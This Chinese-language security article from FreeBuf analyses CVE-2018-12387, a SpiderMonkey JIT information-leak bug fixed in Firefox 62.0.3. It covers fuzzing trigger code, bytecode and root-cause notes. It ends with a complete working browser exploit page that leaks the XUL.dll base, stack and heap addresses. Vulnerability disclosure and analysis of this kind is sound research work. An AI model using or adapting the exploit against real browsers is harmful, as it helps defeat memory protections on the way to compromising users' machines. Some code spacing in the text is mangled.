Firefox信息泄漏漏洞的技术分析（CVE-2018-12387）

Posted 2021-03-30 FreeBuf

前言

厂商回复

这个安全漏洞已经在Firefox 62.0.3和Firefox ESR 60.2.2版本中得到了修复。

漏洞CVE编号

CVE-2018-12387

漏洞发现者

BrunoKeith和NiklasBaumstark，独立安全研究员，在发现该漏洞之后他们便将漏洞信息上报给了Beyond Security的SecuriTeam安全披露项目。

受影响的系统

Firefox 62.0

Firefox ESR 60.2

漏洞详情

在对Spidermonkey（Mozilla的javascript引擎，采用C++编写）进行模糊测试的过程中，我们用下面这段代码成功触发了一次调试断言（Debug Assertion）：

functionf(o) {       var a = [o];       a.length = a[0];       var useless = function () {}       var sz = Array.prototype.push.call(a, 42,43);       (function () {              sz;       })(new Boolean(false));}for(var i = 0; i < 25000; i++) {       f(1);}f(2);

上述代码触发了如下所示的断言（Assertion）：

Assertion failure: isObject() and crashes in releaseBuild

根本原因分析

在运行JIT编译器生成的代码时，函数f生成了上述断言。

接下来，我们一起看一看JIT代码中的IR（中间表示）：

我们可以看到上图中的arraypusht指令，关于该指令的内容可参考【这篇文档】。函数中的注释信息表示，调用push命令的参数将会被分成多个单独的arraypush{t,v}指令。此时会触发断言，因为在调用函数时，栈指针没有被正确恢复。

//Load lhs in R0, rhs in R1. frame.syncStack(0); masm.loadValue(frame.addressOfStackValue(frame.peek(-2)),R0); masm.loadValue(frame.addressOfStackValue(frame.peek(-1)),R1); // Call IC. ICSetProp_Fallback::Compiler compiler(cx); if(!emitOpIC(compiler.getStub(&stubSpace_)))     return false; // Leave the object on the stack. frame.pop();

这个操作码会被下列JavaScript代码执行：

functionf() {       var y = {};       var o = {              a: y       };}dis(f); /* bytecode: 00000: newobject ({}) # OBJ 00005: setlocal 0 # OBJ 00009: pop # 00010: newobject ({a:(void 0)}) # OBJ 00015: getlocal 0 # OBJ y 00019: initprop "a" # OBJ 00024: setlocal 1 # OBJ 00028: pop # 00029: retrval # */

vartest = {       a: 13.37}; functionf(o) {       var a = [o];       a.length = a[0];       var useless = function () {}       useless + useless;       var sz = Array.prototype.push.call(a,1337, 43);       (function () {              sz       })();       var o = {              a: test       };}dis(f);for(var i = 0; i < 25000; i++) {       f(1);}f(100);print(test.a);

/*bytecode:...00034:lambda function() {} # FUN00039:setlocal 1 # FUN00043:pop #00044:getlocal 1 # useless00048:getlocal 1 # useless useless00052:add # (useless + useless)00053:pop #00054:getgname "Array" # Array00059:getprop "prototype" # Array.prototype00064:getprop "push" # Array.prototype.push00069:dup # Array.prototype.push Array.prototype.push00070:callprop "call" # Array.prototype.push Array.prototype.push.call00075:swap # Array.prototype.push.call Array.prototype.push00076:getlocal 0 # Array.prototype.push.call Array.prototype.push a00080:uint16 1337 # Array.prototype.push.call Array.prototype.push a 133700083:int8 43 # Array.prototype.push.call Array.prototype.push a 1337 4300085:funcall 3 # Array.prototype.push.call(...)...00104:newobject ({a:(void 0)}) # OBJ00109:getgname "test" # OBJ test00114:initprop "a" # OBJ00119:setarg 0 # OBJ00122:pop #00123:retrval #

漏洞利用代码

<script> varconvert = new ArrayBuffer(0x100);varu32 = new Uint32Array(convert);varf64 = new Float64Array(convert); varBASE = 0x100000000; functioni2f(x) {    u32[0] = x % BASE;    u32[1] = (x - (x % BASE)) / BASE; ///    return f64[0];} functionf2i(x) {    f64[0] = x;    return u32[0] + BASE * u32[1];} functionhex(x) {    return `0x${x.toString(16)}`} vartest = {a:0x1337}; functiongen(m) {    var expr = '1+('.repeat(m) + '{a:y}' +')'.repeat(m);     var code = `    f = function(o) {        var y = test;        var a = [o];        a.length = a[0];        var useless = function() { }        useless + useless + useless + useless +useless + useless;        var sz = Array.prototype.push.call(a,1337, 43);        (function() { sz; })();        var o = ${expr};    }    `;    eval(code);} VERSION= '62.0'; functionexploit() {    var xul = 0;    var stack = 0;    var heap = 0;     var leak = [];    for (var i = 20; i >= 0; --i) {        gen(i);        for (var j = 0; j < 10000; j++) {            f(1);        }        f(100);         var x = f2i(test.a);         leak.push(x);    }     function xulbase(addr) {        if (VERSION == '62.0') {            var offsets = [                0x92fe34,                0x3bd4108,            ];        } else {            alert('Unknown version: ' +VERSION);            throw null;        }        var res = 0;        offsets.forEach((offset) => {            if (offset % 0x1000 == addr %0x1000) {                res = addr - offset;            }        });        return res;    }     xul = xulbase(leak[1]);    stack = leak[0];    heap = leak[3];     var el = document.createElement('pre');    el.innerText = (        "XUL.dll base: " + hex(xul) +"\n" +        "Stack: " + hex(stack) +"\n" +        "Heap: " + hex(heap) +"\n" +        "\nFull leak:\n" +leak.map(hex).join("\n"))    document.body.appendChild(el);}</script> <buttononclick="exploit()">Go</button>

* 参考来源：securiteam，FB小编Alpha_h4ck编译，转载请注明来自FreeBuf.COM